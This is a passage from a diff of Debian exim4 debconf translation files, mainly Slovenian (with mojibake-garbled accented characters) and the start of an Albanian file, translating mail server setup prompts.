/var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"V eximovem Äakalnem imeniku /var/spool/exim4/input je poÅ¡ta, ki Å¡e ni bila " +"dostavljena. ÄŒe odstranite Exim, bo ostala nedostavljena, vse dokler ne bo " +"Exim ponovno nameÅ¡Äen." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +#, fuzzy +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"ÄŒe ta možnost ni izbrana, se Äakalni imenik obdrži, kar omogoÄa dostavo " +"sporoÄil iz vrste na kasnejÅ¡i datum, ko je Exim ponovno nameÅ¡Äen." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Namesto tega paketa ponovno konfigurirajte exim4-config" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +#, fuzzy +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Kofiguracija za Exim4 je premeÅ¡Äena v namenski paket exim4-config. Za " +"ponovno konfiguracijo Exim4 uporabite dpkg-reconfigure exim4-config." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "" +"internetno mesto; poÅ¡ta je poslana in sprejeta neposredno s pomoÄjo SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "" +"poÅ¡ta je poslano preko pametnega posrednika; sprejeta preko SMTP ali " +"fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "poÅ¡ta je poslana preko pametnega posrednika; brez lokalne poÅ¡te" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "samo lokalno dostavljanje; brez omrežja" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "trenutno brez konfiguracije" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "SploÅ¡ni tip nastavitve poÅ¡te:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Izberite naÄin konfiguracije poÅ¡tnega strežnika, ki najbolj ustreza vaÅ¡im " +"zahtevam." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +#, fuzzy +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Sistemi z dinamiÄnimi IP naslovi, vkljuÄno s sistemi s klicnim dostopom, naj " +"bi bili navadno nastavljeni, da poÅ¡iljajo izhodno poÅ¡to drugemu raÄunalniku, " +"ki se imenuje \"pametni posrednik\" in poskrbi za dostavo. Mnogi prejemniki " +"namreÄ ne dovoljujejo dohodne poÅ¡te z dinamiÄnih IP - naslvov, zaradi " +"zaÅ¡Äite pred neželeno poÅ¡to." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Sistem z dinamiÄnim naslovom IP, lahko prejema lastno poÅ¡to, lahko pa se v " +"celoti onemogoÄi lokalna dostava (razen poÅ¡te za korenski in postmater " +"raÄun)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Pustim poÅ¡tni sistem nenastavljen?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +#, fuzzy +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"VaÅ¡ega poÅ¡tnega sistema ne bo mogoÄe uporabljati, dokler ne bo nastavljen. " +"Nastavite ga lahko kasneje, roÄno ali s pomoÄjo ukaza \"dpkg-reconfigure " +"exim4-config\" kot root uporabnik." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "PoÅ¡tno ime sistema:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +#, fuzzy +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"Domensko ime \"mail name\" se uporablja kot doloÄilo \"qualify\" poÅ¡tnih " +"naslovov brez domenskega imena." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +#, fuzzy +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"To ime bodo uporabljali tudi drugi programi. Naj bo celovito polno domensko " +"ime (FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +#, fuzzy +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Na primer, Äe je poÅ¡tni naslov lokalnega gostitelja foo@domain.example, " +"potem bi bila pravilna vrednost te možnosti domain.example." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +#, fuzzy +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"V vrsticah Od: izhodnih pisem to ime ne bo vidno, Äe bo omogoÄno " +"prepisovanje." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Ostali naslovi, za katere je poÅ¡ta sprejeta:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +#, fuzzy +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Vnesite s podpiÄji loÄen seznam prejemnih domen, ki poleg lokalnega " +"gostiteljskega imena (${fqdn}) in \"localhost\", predstavljajo konÄni cilj " +"za ta raÄunalnik. ObiÄajno poimenovanje teh domen je \"local domains\"." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Privzeto se vse lokalne domene obravnava enako. ÄŒe sta domeni a.primer in b." +"primer lokalni domeni, bosta acc@a.primer in acc@b.primer dostavljeni na " +"isti ciljni naslov. ÄŒe naj bi bile razliÄne domene obravnavane razliÄno, je " +"potrebno to nastaviti v datotekah config." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Domene za katere naj posredujem poÅ¡to:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Vnesite seznam domen, loÄenih s podpiÄji, na katere bo sistem posredoval " +"poÅ¡to, na primer kot fallback MX ali poÅ¡tni prehod. Tak sistem bo poÅ¡to za " +"izbrane domene sprejel od povsod, naprej pa jo bo dostavil po pravilih za " +"lokalno dostavo." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "" +"Na tem mestu ne omenjajte lokalnih domen. Uporabite lahko nadomestna imena." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "RaÄunalniki za katere naj bo posredovana poÅ¡ta:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +#, fuzzy +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Vnesite seznam obsegov naslovov IP, loÄenih s podpiÄji, za katere bo sistem " +"nakljuÄno posredoval poÅ¡to, kot pametni posrednik." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Uporabljajte standardno obliko naslova/predpone (npr. 194.222.242.0/24 ali " +"5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Pustite seznam prazen, Äe ne želite da sistem deluje kot pametni posrednik." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Vidne domene za lokalne uporabnike:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"OmogoÄeno je bilo skrivanje lokalnega poÅ¡tnega imena v odhajajoÄi poÅ¡ti. " +"Zato je potrebno doloÄiti domensko ime, ki naj ga sistem uporablja v " +"domenskem delu lokalnega naslova poÅ¡iljatelja." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "Naslov IP ali gostiteljsko ime odhodnega pametnega posrednika:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Vnesite naslov IP ali gostiteljsko ime poÅ¡tnega strežnika, ki bo uporabljen " +"kot izhodni pametni posrednik. ÄŒe pametni posrednik ne sprejma poÅ¡te na " +"vrata TCP/25, pripiÅ¡ite dve dvopiÄji in Å¡tevilko vrat (na primer smarthost." +"example::587 ali 192.168.254.254::2525). DvopiÄja v naslovih IPv6 je " +"potrebno podvojiti." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +#, fuzzy +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"VeÄ o nastavitvah SMTP avtentikacije za pametni posrednik preberite v /usr/" +"share/doc/exim4-base/README.Debian.gz." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Naslovnik root in postmaster poÅ¡te:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +#, fuzzy +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"PoÅ¡ta za raÄuna \"postmaster\", \"root\"in ostale sistemske raÄune mora biti " +"preusmerjena na raÄun dejanskega skrbnika sistema." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"ÄŒe je ta vrednost prazna, bo poÅ¡ta shranjena v /var/mail/mail, vendar pa to " +"ni priporoÄeno." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +#, fuzzy +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"PoÅ¡ta za raÄun postmaster naj bo brana na sistemu, kamor je usmerjena in naj " +"ne bo posredovana dalje. Uporabniki (ali vsaj eden izmed njih) iz tega " +"seznama naj ne posredujejo poÅ¡te iz tega raÄunalnika. Za vsilitev lokalne " +"dostave uporabite predpono \"real-\" ." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +#, fuzzy +msgid "Multiple user names need to be separated by spaces." +msgstr "UporabniÅ¡ka imena loÄite s presledki." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "IP-naslov, ki naj posluÅ¡a prihajajoÄe SMTP povezave:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Vnesite s podpiÄji loÄen seznam IP naslovov. Eximov demon za posluÅ¡anje SMTP " +"bo posluÅ¡al vse naslove s seznama." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"ÄŒe ta vrednost ostane prazna, bo Exim bo posluÅ¡al za povezave na vseh " +"mrežnih vmesnikih." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +#, fuzzy +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"ÄŒe ta sistem poÅ¡to prejema samo preko lokalnih storitev, kot je fetchmail " +"ali poÅ¡tni program (MUA) povezan z localhost (ne pa tudi od ostalih " +"gostiteljev), je priporoÄeno prepovedati zunanje povezave na lokalni Exim. " +"To storite tako, da sem vnesete 127.0.0.1. Tako prepreÄite posluÅ¡anje na " +"javnih mrežnih vmesnikih." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "" +"Pustim Å¡tevilo DNS-zahtevkov minimalno (Klic-na-Zahtevo - Dial-on-Demand)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"V normalnem naÄinu dela Exim poÅ¡ilja DNS-zahtevke ob zagonu, ob sprejemanju " +"ali poÅ¡iljanju sporoÄil. To omogoÄa manjÅ¡e Å¡tevilo uporabniÅ¡ko doloÄenih " +"vrednosti v konfiguraciji in lažje beleženje v dnevnik." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"ÄŒe ta strežnik nima vedno na voljo polnega dostopa do strežnika DNS (je npr. " +"povezan s klicno povezavo in se povezuje po potrebi), se lahko pojavijo " +"neželene posledice. Zagon Exima ali Äakalne vrste (Äeprav ni ÄakajoÄih " +"sproÄil) lahko sproži postopek vzpostavljanja (cenovno neugodne) povezave na " +"klic." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Izberite to možnost, Äe sistem uprablja Klic-na-Zahtevo (Dial-on-Demand). ÄŒe " +"sistem uporabja dostop vedno-na-internetu (always-on Internet), je potrebno " +"to možnost onemogoÄiti." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Konfiguracija poÅ¡tnega strežnika:" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Razdelim nastavitve v manjÅ¡e datoteke?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +#, fuzzy +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Paketi Debian exim4 so lahko v \"nedeljeni konfiguraciji\", v eni monoliti " +"datoteki (/etc/exim4/exim4.conf.template) ali v \"deljeni konfiguraciji\", " +"kjer dejanske konfiguracijske datoteke za Exim predstavlja približno 50 " +"manjÅ¡ih datotek v /etc/exim4/conf.d/." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Nedeljena konfiguracija je bolj primerna za veÄje spremembe in velja za bolj " +"stabilno, nasprotno pa porazdeljena konfiguracija omogoÄa udoben naÄin za " +"manjÅ¡e spremembe, vendar je bolj obÄutljiva in se ob neprevidni uporabi " +"hitro pokvari." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +#, fuzzy +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"VeÄ o deljeni in nedeljeni konfiguraiji preberite v /usr/share/doc/exim4-" +"base/README.Debian.gz." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Skrijem lokalno ime raÄunalnika v odhajajoÄi poÅ¡ti?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +#, fuzzy +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Glava odhajajoÄe poÅ¡te je lahko prepisana, tako da izgleda, kot da je bila " +"generirana na drugem sistemu. ÄŒe boste izbrali to možnost bodo vrednosti " +"\"${mailname}\", \"localhost\" in \"${dc_other_hostnames}\" v Od, Odgovori, " +"PoÅ¡iljatelj in Povratna-Pot zamenjane." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "oblika mbox v /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Oblika maildir v domaÄem imeniku." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Dostavni naÄin za lokalno poÅ¡to:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim lahko lokalno dostavljeno poÅ¡to shranjuje v razliÄnih oblikah. " +"Najpogosteje uporabljeni sta mbox in Maildir. mbox shrani celoten poÅ¡tni " +"imenik v eno datoteko v /var/mail/. Oblika Maildir pa shrani vsako sporoÄilo " +"v svoji datoteki v ~/Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"VeÄina poÅ¡tnih orodij za Debian ima privzeto metodo lokalne dostave mbox." + +#, fuzzy +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "" +#~ "Premaknem nedostavljeno poÅ¡to iz Äakalnega imenika exim(v3) v exim4?" + +#, fuzzy +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "V Äakalnem imeniku exim(v3) (ali exim-tls(v3)) /var/spool/exim/input/ je " +#~ "nedostavljena poÅ¡ta." + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "SporoÄila bodo premeÅ¡Äena v Äakalno vrsto exim4 (/var/spool/exim4/" +#~ "input/) , Äe izberete to možnost. Nato bo z njimi upravljal exim4." + +#, fuzzy +#~ msgid "" +#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "Deluje enosmerno: Exim4 lahko upravlja s Äakalnim imenikom exim(v3), ne " +#~ "pa tudi obratno. SporoÄila premaknite le Äe ne naÄrtujete vrnitve na exim" +#~ "(v3). DrugaÄe sporoÄila roÄno premaknite pozneje." + +#~ msgid "Leaving this list blank will have Exim do no local deliveries." +#~ msgstr "Exim ne bo izvedel lokalnih dostav, Äe je ta sezam prazen." + +#~ msgid "" +#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " +#~ "but not the other way round." +#~ msgstr "" +#~ "Vedite, da to deluje samo v eni smeri. Exim4 lahko upravlja s Äakalno " +#~ "poÅ¡to exim(v3) in ne obratno." + +#~ msgid "" +#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " +#~ "the mail shouldn't be moved now but manually once you've converted your " +#~ "setup." +#~ msgstr "" +#~ "Premaknite poÅ¡to samo v primeru, Äe ne nameravate iti nazaj na exim(v3). " +#~ "V nasprotnem primeru premaknite poÅ¡to roÄno kasneje, ko boste pretvorili " +#~ "vaÅ¡e nastavitve." + +#, fuzzy +#~ msgid "" +#~ "If there are any more, enter them here, separated by semicolons. You may " +#~ "leave this blank if there are none." +#~ msgstr "" +#~ "ÄŒe jih je Å¡e kaj, jih vnesite tukaj, loÄene z dvopiÄjem. Lahko pustite " +#~ "prazno, Äe jih ni niÄ veÄ." + +#, fuzzy +#~ msgid "" +#~ "Please enter here the domains for which this system will relay mail, for " +#~ "example as a fallback MX or mail gateway." +#~ msgstr "Vnesite domene za katere se strinjate, da boste posredovali poÅ¡to." + +#~ msgid "" +#~ "Such domains are domains for which you are prepared to accept mail from " +#~ "anywhere on the Internet. Do not mention local domains here." +#~ msgstr "" +#~ "To so domene za katere ste pripravljeni sprejeti poÅ¡to iz kjerkoli na " +#~ "internetu. Tukaj ne omenjajte lokalnih domen." + +#, fuzzy +#~ msgid "" +#~ "The domains entered here should be separated by semicolons. Wildcards may " +#~ "be used." +#~ msgstr "" +#~ "Domene, ki jih vnesete tukaj, naj bodo loÄene z dvopiÄji. Uporabite lahko " +#~ "nadomestni znak (*)." + +#~ msgid "" +#~ "Since you enabled hiding the local mailname in outgoing mail, you must " +#~ "specify the domain name to use for mail from local users; typically this " +#~ "is the machine on which you normally receive your mail." +#~ msgstr "" +#~ "Ker ste omogoÄili skrivanje lokalnega poÅ¡tnega imena v odhodni poÅ¡ti, " +#~ "morate doloÄiti domeno, ki jo želite uporabiti za poÅ¡to od lokalnih " +#~ "uporabnikov; to je navadno raÄunalnik, ki ga uporabljate za sprejemanje " +#~ "poÅ¡te." + +#~ msgid "Where will your users read their mail?" +#~ msgstr "Kje bodo vaÅ¡i uporabniki brali poÅ¡to?" + +#~ msgid "Machine handling outgoing mail for this host (smarthost):" +#~ msgstr "" +#~ "RaÄunalnik, ki skrbi za odhodno poÅ¡to tega sistema (pametni posrednik):" + +#~ msgid "Enter the hostname of the machine to which outgoing mail is sent." +#~ msgstr "" +#~ "Vnesite gostiteljsko ime raÄunalnika, na katerega bo odhodna poÅ¡ta " +#~ "poslana." + +#~ msgid "" +#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " +#~ "it." +#~ msgstr "" +#~ "OmogoÄite to možnost, Äe uporabljate Klic-na-Zahtevo; drugaÄe jo " +#~ "onemogoÄite." + +#, fuzzy +#~ msgid "Select the mail server configuration type that best fits your needs." +#~ msgstr "Izberite naÄin konfiguracije, ki najbolj ustreza vaÅ¡im potrebam." + +#~ msgid "If you are unsure then you should not use split configuration." +#~ msgstr "ÄŒe niste prepriÄani, ne uporabite loÄenih nastavitev." + +#~ msgid "manually convert from handcrafted Exim v3 configuration" +#~ msgstr "roÄno pretvori iz roÄno napisanih nastavitev Exim v3" + +#~ msgid "Configure Exim4 manually?" +#~ msgstr "Želite roÄno nastaviti Exim4?" + +#~ msgid "" +#~ "You indicated that you have a handcrafted Exim 3 configuration. To " +#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " +#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "and /usr/share/doc/exim4-base/README.Debian.gz!" +#~ msgstr "" +#~ "Izbrali ste možnost, da imate roÄno spisano nastavitev Exim 3. Za " +#~ "pretvorbo v Exim 4 lahko uporabite orodje exim_convert4r4(8) po konÄani " +#~ "nastavitvi. Pomagajte si z /usr/share/doc/exim4-base/examples/example." +#~ "conf.gz in /usr/share/doc/exim4-base/README.Debian.gz.gz!" + +#~ msgid "" +#~ "Until your mail system is configured, it will be broken and cannot be " +#~ "used." +#~ msgstr "" +#~ "Dokler vaÅ¡ poÅ¡tni sistem ni nastavljen, bo pokvarjen in ga ne bo mogoÄe " +#~ "uporabljati." + +#~ msgid "" +#~ "Your \"mail name\" is the hostname portion of the address to be shown on " +#~ "outgoing news and mail messages (following the username and @ sign) " +#~ "unless hidden with rewriting." +#~ msgstr "" +#~ "VaÅ¡e \"poÅ¡tno ime\" je gostiteljski del naslova, ki bo viden na izhodnih " +#~ "poÅ¡tnih in noviÄarskih sporoÄilih (sledi uporabniÅ¡kemu imenu in znaku @) " +#~ "razen, Äe je skrit s prepisovanjem." + +#~ msgid "" +#~ "Please enter here the networks of local machines for which you accept to " +#~ "relay the mail." +#~ msgstr "" +#~ "Vnesite omrežja lokalnih raÄunalnikov za katere se strinjate, da boste " +#~ "posredovali poÅ¡to." + +#~ msgid "" +#~ "This should include a list of all machines that will use us as a " +#~ "smarthost." +#~ msgstr "" +#~ "To naj vkljuÄuje seznam vseh raÄunalnikov, ki nas bodo uporabili za " +#~ "pametnega gostitelja." + +#~ msgid "" +#~ "You need to double the colons in IPv6 addresses (e.g. " +#~ "5f03::1200::836f::::/48)" +#~ msgstr "" +#~ "Za naslove IPv6 morate uporabiti dvojna dvopiÄja (npr. " +#~ "5f03::1200::836f::::/48)" + +#~ msgid "" +#~ "Enter a colon-separated list of IP-addresses to listen on. You need to " +#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." +#~ msgstr "" +#~ "Vnesite z dvopiÄji loÄen seznam IP-naslovov, na katerih naj posluÅ¡am. Za " +#~ "IPv6 naslove potrebujete dvojna dvopiÄja (npr. 5f03::1200::836f::::)." + +#~ msgid "Configuring Exim v4 (exim4-config)" +#~ msgstr "Nastalvjanje Exim v4 (exim4-config)" diff --git a/debian/po/sq.po b/debian/po/sq.po new file mode 100644 index 0000000..f0254eb --- /dev/null +++ b/debian/po/sq.po @@ -0,0 +1,813 @@ +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans +# Developers do not need to manually edit POT or PO files. +# +# +msgid "" +msgstr "" +"Project-Id-Version: exim 4.63\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2008-05-12 13:33+0100\n" +"Last-Translator: Elian Myftiu <elian.myftiu@gmail.com>\n" +"Language-Team: Debian L10n Albanian <debian-l10n-albanian@lists.debian.org>\n" +"Language: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "T'i fshij mesazhet e pashpërndarë nga dosja spool?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Ka mesazhe e-mail në dosjen spool /var/spool/exim4/input që ende nuk janë " +"shpërndarë. Nëse heq Exim këto mesazhe do mbesin të padërguar deri kur Exim " +"do të reinstalohet." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Nëse kjo mundësi 